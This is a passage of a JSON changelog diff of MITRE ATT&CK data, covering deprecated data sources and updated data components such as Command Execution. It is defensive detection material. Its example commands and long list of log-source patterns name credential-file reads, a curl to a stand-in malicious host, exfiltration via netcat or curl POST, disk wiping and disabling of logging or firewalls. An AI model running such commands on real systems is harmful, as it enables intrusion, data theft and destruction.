"Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Android", + "iOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:10:24.655000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0013", + "external_id": "DS0013" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Sensor Health", + "description": "Information from host telemetry providing insights about system status, errors, or other notable functional activity", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Android", + "iOS" + ], + "x_mitre_version": "1.1", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 20:39:11.418000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-13 19:36:25.108000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0042", + "external_id": "DS0042" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Interface", + "description": "Visual activity on the device that could alert the user to potentially malicious behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Device" + ], + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:22:20.681000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + } + ], + "deletions": [] + }, + "datacomponents": { + "additions": [], + "major_version_changes": [ + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-13 19:59:14.491000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0112", + "external_id": "DC0112" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "API Calls", + "description": "API calls utilized by an application that could indicate malicious activity", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0112\", \"external_id\": \"DC0112\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Application Vetting\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:22:21.246000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--613788f2-ad72-43f5-b5f7-a93e2adc70fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-03-29 14:59:30.164000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0119", + "external_id": "DC0119" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Application Assets", + "description": "Additional assets included with an application", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0119\", \"external_id\": \"DC0119\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Application Vetting\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2024-03-29 14:59:30.164000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:34.849000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0064", + "external_id": "DC0064" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Command Execution", + "description": "Command Execution involves monitoring and capturing the execution of textual commands (including shell commands, cmdlets, and scripts) within an operating system or application. These commands may include arguments or parameters and are typically executed through interpreters such as `cmd.exe`, `bash`, `zsh`, `PowerShell`, or programmatic execution. Examples: \n\n- Windows Command Prompt\n - dir \u2013 Lists directory contents.\n - net user \u2013 Queries or manipulates user accounts.\n - tasklist \u2013 Lists running processes.\n- PowerShell\n - Get-Process \u2013 Retrieves processes running on a system.\n - Set-ExecutionPolicy \u2013 Changes PowerShell script execution policies.\n - Invoke-WebRequest \u2013 Downloads remote resources.\n- Linux Shell\n - ls \u2013 Lists files in a directory.\n - cat /etc/passwd \u2013 Reads the user accounts file.\n - curl http://malicious-site.com \u2013 Retrieves content from a malicious URL.\n- Container Environments\n - docker exec \u2013 Executes a command inside a running container.\n - kubectl exec \u2013 Runs commands in Kubernetes pods.\n- macOS Terminal\n - open \u2013 Opens files or URLs.\n - dscl . -list /Users \u2013 Lists all users on the system.\n - osascript -e \u2013 Executes AppleScript commands.\n\nThis data component can be collected through the following measures:\n\nEnable Command Logging\n\n- Windows:\n - Enable PowerShell logging: `Set-ExecutionPolicy Bypass`, `Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" -Name EnableScriptBlockLogging -Value 1`\n - Enable Windows Event Logging:\n - Event ID 4688: Tracks process creation, including command-line arguments.\n - Event ID 4104: Logs PowerShell script block execution.\n- Linux/macOS:\n - Enable shell history logging in `.bashrc` or `.zshrc`: `export HISTTIMEFORMAT=\"%d/%m/%y %T \"`, `export PROMPT_COMMAND='history -a; history -w'`\n - Use audit frameworks (e.g., `auditd`) to log command executions. Example rule to log all `execve` syscalls: `-a always,exit -F arch=b64 -S execve -k cmd_exec`\n- Containers:\n - Use runtime-specific tools like Docker\u2019s --log-driver or Kubernetes Audit Logs to capture exec commands.\n\nIntegrate with Centralized Logging\n\n- Collect logs using a SIEM (e.g., Splunk) or cloud-based log aggregation tools like AWS CloudWatch or Azure Monitor. Example Splunk Search for Windows Event 4688:\n`index=windows EventID=4688 CommandLine=*`\n\nUse Endpoint Detection and Response (EDR) Tools\n\n- Monitor command executions via EDR solutions \n\nDeploy Sysmon for Advanced Logging (Windows)\n\n- Use Sysmon's Event ID 1 to log process creation with command-line arguments", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Command", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of realmd, samba-tool, or ldapmodify with user-related arguments" + }, + { + "name": "macos:unifiedlog", + "channel": "dsconfigad or dscl with create or append options for AD-bound users" + }, + { + "name": "EDR:AMSI", + "channel": "None" + }, + { + "name": "linux:syslog", + "channel": "/var/log/syslog or journalctl" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Get-ADTrust|GetAllTrustRelationships" + }, + { + "name": "gcp:audit", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of script interpreters by systemd timer (ExecStart)" + }, + { + "name": "AWS:CloudTrail", + "channel": "InvokeFunction" + }, + { + "name": "m365:unified", + "channel": "Automated forwarding or file sync initiated by a logic app" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "name": "linux:syslog", + "channel": "Suspicious script or command execution targeting browser folders" + }, + { + "name": "esxi:shell", + "channel": "snapshot create/copy, esxcli" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands like systemctl stop , service stop, or kill -9 " + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl unload, kill, or pkill commands affecting daemons or background services" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of security-agent detection or enumeration commands" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of Microsoft script to enumerate custom forms in Outlook mailbox" + }, + { + "name": "m365:messagetrace", + "channel": "Inbound email triggers execution of mailbox-stored custom form" + }, + { + "name": "auditd:EXECVE", + "channel": "Use of mv or cp to rename files with '.' prefix" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of chflags hidden or SetFile -a V" + }, + { + "name": "esxi:shell", + "channel": "interactive shell" + }, + { + "name": "networkdevice:cli", + "channel": "CLI command" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream" + }, + { + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls to locale, timedatectl, or cat /etc/timezone" + }, + { + "name": "macos:unifiedlog", + "channel": "defaults read -g AppleLocale, systemsetup -gettimezone" + }, + { + "name": "macos:unifiedlog", + "channel": "profiles install -type=configuration" + }, + { + "name": "auditd:SYSCALL", + "channel": "sleep function usage or loops (nanosleep, usleep) in scripts" + }, + { + "name": "m365:unified", + "channel": "Search-Mailbox, Get-MessageTrace, eDiscovery requests" + }, + { + "name": "EDR:cli", + "channel": "Command Line Telemetry" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"loginwindow\" or \"pfctl\"'" + }, + { + "name": "networkdevice:syslog", + "channel": "Command Audit / Configuration Change" + }, + { + "name": "WinEventLog:Microsoft-Office/OutlookAddinMonitor", + "channel": "Outlook loading add-in via unexpected load path or non-default profile context" + }, + { + "name": "macos:unifiedlog", + "channel": "exec or sudo usage with NOPASSWD context or echo modifying sudoers" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4104" + }, + { + "name": "WinEventLog:Powershell", + "channel": "EventCode=4104" + }, + { + "name": "auditd:EXECVE", + "channel": "execve: Execution of update-ca-certificates or trust anchor modification commands" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain" + }, + { + "name": "auditd:EXECVE", + "channel": "gcore, gdb, strings, hexdump execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect, execve, write" + }, + { + "name": "esxi:hostd", + "channel": "command execution" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of auditctl, systemctl stop auditd, or kill -9 auditd" + }, + { + "name": "macos:syslog", + "channel": "system.log" + }, + { + "name": "esxi:hostd", + "channel": "/var/log/hostd.log" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log" + }, + { + "name": "docker:daemon", + "channel": "docker exec or docker run with unexpected command/entrypoint" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call including 'nohup' or trailing '&'" + }, + { + "name": "macos:unifiedlog", + "channel": "nohup, disown, or osascript execution patterns" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "CommandLine=copy-item or robocopy from UNC path" + }, + { + "name": "esxi:shell", + "channel": "invoked remote scripts (esxcli)" + }, + { + "name": "auditd:EXECVE", + "channel": "execution of systemctl with subcommands start, stop, enable, disable" + }, + { + "name": "networkdevice:cli", + "channel": "Policy Update" + }, + { + "name": "auditd:SYSCALL", + "channel": "None" + }, + { + "name": "AWS:CloudTrail", + "channel": "eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand" + }, + { + "name": "gcp:audit", + "channel": "methodName: setIamPolicy, startInstance, createServiceAccount" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands executed within an SSH session where no matching logon/authentication event exists" + }, + { + "name": "esxi:hostd", + "channel": "modification of config files or shell command execution" + }, + { + "name": "kubernetes:audit", + "channel": "Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of 'profiles install -type=configuration'" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem:com.apple.Terminal" + }, + { + "name": "networkdevice:syslog", + "channel": "eventlog" + }, + { + "name": "esxi:hostd", + "channel": "shell access or job registration" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "PowerShell launched from outlook.exe or triggered without user invocation" + }, + { + "name": "m365:messagetrace", + "channel": "Inbound email matches crafted rule trigger pattern tied to persistence logic" + }, + { + "name": "linus:syslog", + "channel": "None" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103,4104" + }, + { + "name": "linux:syslog", + "channel": "Unusual outbound transfers from CLI tools like base64, gzip, or netcat" + }, + { + "name": "macos:unifiedlog", + "channel": "base64 or curl processes chained within short execution window" + }, + { + "name": "esxi:shell", + "channel": "base64 or gzip use within shell session" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys" + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod, execve" + }, + { + "name": "macos:unifiedlog", + "channel": "chmod command with arguments including '+s', 'u+s', or numeric values 4000\u20136777" + }, + { + "name": "macos:unifiedlog", + "channel": "command includes dscl . delete or sysadminctl --deleteUser" + }, + { + "name": "fs:fsusage", + "channel": "file system activity monitor" + }, + { + "name": "networkdevice:cli", + "channel": "ip ssh pubkey-chain" + }, + { + "name": "esxi:shell", + "channel": "scripts or binaries with misleading names" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of GUI-related binaries with suppressed window/display flags" + }, + { + "name": "linuxsyslog", + "channel": "nslcd or winbind logs" + }, + { + "name": "macos:unifiedlog", + "channel": "DS daemon log entries" + }, + { + "name": "esxi:hostd", + "channel": "logline inspection" + }, + { + "name": "macos:unifiedlog", + "channel": "diskutil eraseDisk / asr restore with destructive flags" + }, + { + "name": "networkdevice:cli", + "channel": "erase flash:, erase startup-config, format disk" + }, + { + "name": "networkdevice:syslog", + "channel": "command_exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: iptables, nft, firewall-cmd modifications" + }, + { + "name": "macos:unifiedlog", + "channel": "pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf" + }, + { + "name": "esxi:hostd", + "channel": "esxcli network firewall set commands" + }, + { + "name": "docker:events", + "channel": "container exec rm|container stop --force" + }, + { + "name": "esxi:hostd", + "channel": "event stream" + }, + { + "name": "networkdevice:cli", + "channel": "CLI command logs" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log entries containing \"esxcli system clock get\"" + }, + { + "name": "networkdevice:syslog", + "channel": "command-exec: CLI commands containing \"show clock\", \"show clock detail\", \"show timezone\" executed by suspicious user/source" + }, + { + "name": "networkdevice:cli", + "channel": "cmd: cmd=show clock detail" + }, + { + "name": "auditd:EXECVE", + "channel": "curl -X POST, wget --post-data" + }, + { + "name": "linux:syslog", + "channel": "sudo chage|grep pam_pwquality|cat /etc/login.defs" + }, + { + "name": "macos:unifiedlog", + "channel": "pwpolicy|PasswordPolicy" + }, + { + "name": "networkdevice:syslog", + "channel": "cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'" + }, + { + "name": "networkdevice:syslog", + "channel": "CLI command audit" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of PowerShell script to enumerate or remove malicious Home Page folder config" + }, + { + "name": "m365:messagetrace", + "channel": "Inbound email triggering Outlook to auto-access folder tied to malicious Home Page" + }, + { + "name": "macos:unifiedlog", + "channel": "Command line contains smbutil view //, mount_smbfs //" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Invocation of scp, rsync, curl, or sftp" + }, + { + "name": "esxi:hostd", + "channel": "scp/ssh used to move file across hosts" + }, + { + "name": "auditd:EXECVE", + "channel": "command line arguments containing lsblk, fdisk, parted" + }, + { + "name": "macos:unifiedlog", + "channel": "log messages related to disk enumeration context or Terminal session" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls modifying local mail filter configuration files" + }, + { + "name": "esxi:hostd", + "channel": "None" + }, + { + "name": "esxi:shell", + "channel": "None" + }, + { + "name": "networkdevice:cli", + "channel": "None" + }, + { + "name": "linux:syslog", + "channel": "sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user" + }, + { + "name": "docker:api", + "channel": "docker logs access or container inspect commands from non-administrative users" + }, + { + "name": "esxi:shell", + "channel": "command IN (\"esxcli vm process list\", \"vim-cmd vmsvc/getallvms\")" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: process_name IN (\"virsh\", \"VBoxManage\", \"qemu-img\") AND command IN (\"list\", \"info\")" + }, + { + "name": "esxi:shell", + "channel": "openssl|tar|dd" + }, + { + "name": "AWS:CloudTrail", + "channel": "SSM RunCommand" + }, + { + "name": "azure:activity", + "channel": "Intune PowerShell Scripts" + }, + { + "name": "m365:exchange", + "channel": "Cmdlet: Get-GlobalAddressList, Get-Recipient" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands like 'show running-config', 'copy running-config', or 'export config'" + }, + { + "name": "esxi:syslog", + "channel": "boot logs" + }, + { + "name": "networkdevice:syslog", + "channel": "system boot logs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog" + }, + { + "name": "macos:unifiedlog", + "channel": "defaults write com.apple.system.logging or logd manipulation" + }, + { + "name": "esxi:hostd", + "channel": "esxcli system syslog config set or reload" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: openssl pkcs12, certutil, keytool" + }, + { + "name": "macos:unifiedlog", + "channel": "process calling security find-certificate, export, or import" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args" + }, + { + "name": "m365:exchange", + "channel": "Get-RoleGroup, Get-DistributionGroup" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of systemctl or service with enable/start parameters" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of log show, fs_usage, or cat targeting system.log" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetLogEvents: High frequency log exports from CloudWatch or equivalent services" + }, + { + "name": "esxi:shell", + "channel": "Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log" + }, + { + "name": "esxi:shell", + "channel": "CLI usage logs" + }, + { + "name": "macos:syslog", + "channel": "/var/log/system.log" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of launchctl load/unload/start commands" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Exchange Cmdlets" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of python, perl, or custom binaries invoking compression libraries" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, USER_CMD" + }, + { + "name": "auditd:USER_CMD", + "channel": "USER_CMD" + }, + { + "name": "esxi:shell", + "channel": "Command execution trace" + }, + { + "name": "auditd:SYSCALL", + "channel": "bash/zsh of base64, tar, gzip, or openssl immediately after file write" + }, + { + "name": "linux:osquery", + "channel": "Command-line includes base64 -d or openssl enc -d" + }, + { + "name": "macos:unifiedlog", + "channel": "base64 -d or osascript invoked on staged file" + }, + { + "name": "auditd:EXECVE", + "channel": "exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions" + }, + { + "name": "auditd:EXECVE", + "channel": "curl -d, wget --post-data" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Processes executing sendmail/postfix with forged headers" + }, + { + "name": "macos:unifiedlog", + "channel": "diskutil partitionDisk or eraseVolume with partition scheme modifications" + }, + { + "name": "networkdevice:cli", + "channel": "format flash:, format disk, reformat commands" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments" + }, + { + "name": "auditd:PROCTITLE", + "channel": "proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters" + }, + { + "name": "esxi:shell", + "channel": "shell command execution for chmod, chown, or file permission modification on VMFS or system files" + }, + { + "name": "networkdevice:Firewall", + "channel": "Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config" + }, + { + "name": "auditd:EXECVE", + "channel": "grep/cat/awk on files with password fields" + }, + { + "name": "macos:unifiedlog", + "channel": "grep/cat on files matching credential patterns" + }, + { + "name": "kubernetes:audit", + "channel": "process execution involving curl, grep, or awk on secrets" + }, + { + "name": "AWS:CloudTrail", + "channel": "command-line execution invoking credential enumeration" + }, + { + "name": "auditd:SYSCALL", + "channel": "promiscuous mode transitions (ioctl or ifconfig)" + }, + { + "name": "fs:fsusage", + "channel": "access to BPF devices or interface IOCTLs" + }, + { + "name": "networkdevice:syslog", + "channel": "exec command='monitor capture'" + }, + { + "name": "WinEventLog:Microsoft-Office-Alerts", + "channel": "Unexpected DLL or component loaded at Office startup" + }, + { + "name": "m365:office", + "channel": "Startup execution includes non-default component" + }, + { + "name": "macos:unifiedlog", + "channel": "diskutil eraseDisk/zeroDisk or asr restore with destructive flags" + }, + { + "name": "networkdevice:cli", + "channel": "erase flash:, erase nvram:, format disk" + }, + { + "name": "macos:unifiedlog", + "channel": "spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper" + }, + { + "name": "esxi:shell", + "channel": "esxcli system syslog config set --loghost='' or stopping hostd service" + }, + { + "name": "networkdevice:syslog", + "channel": "no logging buffered, no aaa new-model, disable firewall" + }, + { + "name": "auditd:EXECVE", + "channel": "git push, curl -X POST" + }, + { + "name": "linux:cli", + "channel": "command logging" + }, + { + "name": "esxi:hostd", + "channel": "command log" + }, + { + "name": "networkdevice:cli", + "channel": "command logs" + }, + { + "name": "networkdevice:syslog", + "channel": "interactive shell logging" + }, + { + "name": "esxi:hostd", + "channel": "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'" + }, + { + "name": "auditd:SYSCALL", + "channel": "chattr, rm, shred, dd run on recovery directories or partitions" + }, + { + "name": "networkdevice:syslog", + "channel": "command sequence: erase \u2192 format \u2192 reload" + }, + { + "name": "macos:unifiedlog", + "channel": "process: at, job runner" + }, + { + "name": "macos:osquery", + "channel": "Interpreter exec with suspicious arguments as above" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of downgraded interpreters such as python2 or forced fallback commands" + }, + { + "name": "auditd:PROCTITLE", + "channel": "proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of gsettings set org.gnome.login-screen disable-user-list true" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of dscl . create with IsHidden=1" + }, + { + "name": "linux:syslog", + "channel": "sshd logs" + }, + { + "name": "esxi:shell", + "channel": "Shell Access/Command Execution" + }, + { + "name": "networkdevice:syslog", + "channel": "CLI Command Logging" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "udev rule reload or trigger command executed" + }, + { + "name": "linux:cli", + "channel": "Shell history logs" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'processImagePath contains \"zip\" OR \"base64\"'" + }, + { + "name": "networkdevice:cli", + "channel": "command logging" + }, + { + "name": "esxi:hostd", + "channel": "Command Execution" + }, + { + "name": "macos:osquery", + "channel": "launchd + process_events" + }, + { + "name": "esxi:vmkernel", + "channel": "DCUI shell start, BusyBox activity" + }, + { + "name": "esxi:hostd", + "channel": "remote CLI + vim-cmd logging" + }, + { + "name": "networkdevice:syslog", + "channel": "CLI Command Audit" + }, + { + "name": "m365:defender", + "channel": "Activity Log: Command Invocation" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "CmdletName: Get-Recipient, Get-User" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets" + }, + { + "name": "linux:shell", + "channel": "Manual invocation of software enumeration commands via interactive shell" + }, + { + "name": "auditd:SYSCALL", + "channel": "Command line arguments including SPApplicationsDataType" + }, + { + "name": "AWS:CloudTrail", + "channel": "ssm:GetCommandInvocation" + }, + { + "name": "esxi:shell", + "channel": "esxcli software vib list" + }, + { + "name": "auditd:EXECVE", + "channel": "execution of setfattr or getfattr commands" + }, + { + "name": "macos:unifiedlog", + "channel": "xattr utility execution with -w or -p flags" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of tools like cat, grep, or awk on credential files" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of 'security', 'cat', or 'grep' commands accessing credential storage" + }, + { + "name": "linux:syslog", + "channel": "CLI access to 'show running-config', 'show password', or 'cat config.txt'" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of curl, rsync, wget with internal knowledge base or IPs" + }, + { + "name": "esxi:shell", + "channel": "/root/.ash_history" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103,4104,4105, 4106" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of xev, xdotool, or input activity emulators" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl load or boot-time plist registration" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of interpreters creating archive-like outputs without calling tar/gzip" + }, + { + "name": "networkdevice:syslog", + "channel": "command audit" + }, + { + "name": "networkdevice:cli", + "channel": "Interface commands" + }, + { + "name": "macos:unifiedlog", + "channel": "dscl -create" + }, + { + "name": "esxi:vmkernel", + "channel": "esxcli system account add" + }, + { + "name": "ebpf:syscalls", + "channel": "useradd or /etc/passwd modified inside container" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes" + }, + { + "name": "macos:unifiedlog", + "channel": "kextload execution from Terminal or 